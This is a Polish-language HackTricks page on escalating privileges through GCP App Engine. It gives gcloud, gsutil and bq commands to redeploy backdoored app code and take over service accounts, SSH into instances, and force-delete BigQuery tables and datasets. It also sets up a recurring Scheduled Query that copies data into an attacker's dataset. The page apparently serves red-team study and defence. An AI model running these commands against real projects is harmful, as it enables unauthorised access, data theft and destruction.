GCP - AppEngine Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

App Engine

Więcej informacji o App Engine znajdziesz:

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

To są wymagane uprawnienia do wdrożenia aplikacji przy użyciu gcloud cli. Możliwe, że uprawnienia get i list można pominąć.

Przykłady kodu w Pythonie znajdziesz w https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

Domyślnie nazwa usługi App będzie default, i może istnieć tylko 1 instancja o tej samej nazwie.
Aby to zmienić i utworzyć drugą aplikację, w app.yaml zmień wartość klucza root na coś w rodzaju service: my-second-app

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

Odczekaj co najmniej 10–15 minut; jeśli to nie zadziała, spróbuj wykonać ponownie deploy another of times i odczekaj kilka minut.

Note

Możliwe jest wskazanie Service Account, który ma być użyty, ale domyślnie używany jest domyślny App Engine SA.

The URL of the application is something like https://<proj-name>.oa.r.appspot.com/ or https://<service_name>-dot-<proj-name>.oa.r.appspot.com

Aktualizacja równoważnych uprawnień

Możesz mieć wystarczające uprawnienia do zaktualizowania AppEngine, ale nie do utworzenia nowego. W takim przypadku możesz w ten sposób zaktualizować bieżący AppEngine:

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

Jeśli już przejąłeś AppEngine i masz uprawnienie appengine.applications.update oraz uprawnienie actAs do używania service account, możesz zmodyfikować service account używany przez AppEngine za pomocą:

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

Dzięki tym uprawnieniom można zalogować się przez ssh na instancjach App Engine typu flexible (nie standardowych). Niektóre z uprawnień list i get mogą nie być naprawdę potrzebne.

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

Myślę, że to po prostu zmienia konto SA w tle, którego google użyje do skonfigurowania aplikacji, więc nie sądzę, żeby dało się tego nadużyć, by ukraść service account.

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

Nie jestem pewien, jak użyć tych uprawnień ani czy są przydatne (uwaga: kiedy zmieniasz kod, tworzona jest nowa wersja, więc nie wiem, czy można po prostu zaktualizować kod lub rolę IAM istniejącej wersji, ale przypuszczam, że powinno to być możliwe — być może przez zmianę kodu wewnątrz bucketu??).

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

Aby usunąć tabele, dataset lub modele:

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Nadużycie Scheduled Queries

Dysponując uprawnieniami bigquery.datasets.get, bigquery.jobs.create, i iam.serviceAccounts.actAs, tożsamość może odpytywać metadane datasetu, uruchamiać BigQuery jobs i wykonywać je przy użyciu Service Account o wyższych uprawnieniach.

Ten atak umożliwia złośliwe użycie Scheduled Queries do automatyzacji zapytań (uruchamianych pod wybranym Service Account), co może na przykład skutkować odczytaniem wrażliwych danych i zapisaniem ich do innej tabeli lub datasetu, do którego atakujący ma dostęp — ułatwiając pośrednią i ciągłą eksfiltrację bez konieczności wyprowadzania danych na zewnątrz.

Gdy atakujący dowie się, który Service Account ma niezbędne uprawnienia do wykonania żądanego zapytania, może utworzyć konfigurację Scheduled Query, która będzie uruchamiana z użyciem tego Service Account i okresowo zapisywać wyniki do wybranego przez niego datasetu.

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

Dostęp zapisu do bucketów

Jak wspomniano, appengine versions generują pewne dane wewnątrz bucketu o nazwie w formacie: staging.<project-id>.appspot.com. Zauważ, że nie da się wcześniej przejąć tego bucketu, ponieważ GCP users nie są uprawnieni do tworzenia bucketów używając domeny appspot.com.

Jednak mając read & write access do tego bucketu, można eskalować uprawnienia do SA przypisanego do wersji AppEngine, monitorując bucket i za każdym razem, gdy zostanie wprowadzona zmiana, modyfikując kod jak najszybciej. W ten sposób kontener utworzony z tego kodu będzie execute the backdoored code.

For more information and a PoC check the relevant information from this page:

GCP - Storage Privesc

Dostęp zapisu do Artifact Registry

Chociaż App Engine tworzy obrazy dockerowe w Artifact Registry, przetestowano, że nawet jeśli zmodyfikujesz obraz w tym serwisie i usuniesz instancję App Engine (w efekcie wdrożona zostanie nowa), to wykonywany kod się nie zmienia.
Możliwe, że przeprowadzenie Race Condition attack podobnie jak w przypadku buckets pozwoliłoby nadpisać wykonywany kod, ale nie zostało to przetestowane.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks